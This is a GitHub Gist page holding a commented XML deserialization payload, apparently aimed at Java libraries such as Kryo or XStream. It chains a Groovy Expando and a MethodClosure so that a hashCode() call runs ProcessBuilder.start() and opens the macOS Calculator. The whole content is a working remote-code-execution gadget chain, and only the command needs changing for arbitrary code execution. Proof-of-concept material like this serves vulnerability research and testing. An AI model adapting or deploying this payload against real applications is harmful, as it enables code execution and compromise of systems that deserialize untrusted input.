Skip to content

Instantly share code, notes, and snippets.

/kryo-3.xml
Created Feb 24, 2016

Embed
What would you like to do?
<map>
<!-- This Expando is our key in the root level Map -->
<groovy.util.Expando>
<expandoProperties>
<entry>
<!-- This property tells Expando to call our method on hashCode() -->
<string>hashCode</string>
<!-- This MethodClosure will pop a calculator when called -->
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando" reference="../../../.."/>
<owner class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</owner>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maximumNumberOfParameters>0</maximumNumberOfParameters>
<!-- This is the name of the method to invoke on ProcessBuilder -->
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<!-- This integer is our value for the only key-value. Can be anything. -->
<int>1</int>
</map>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.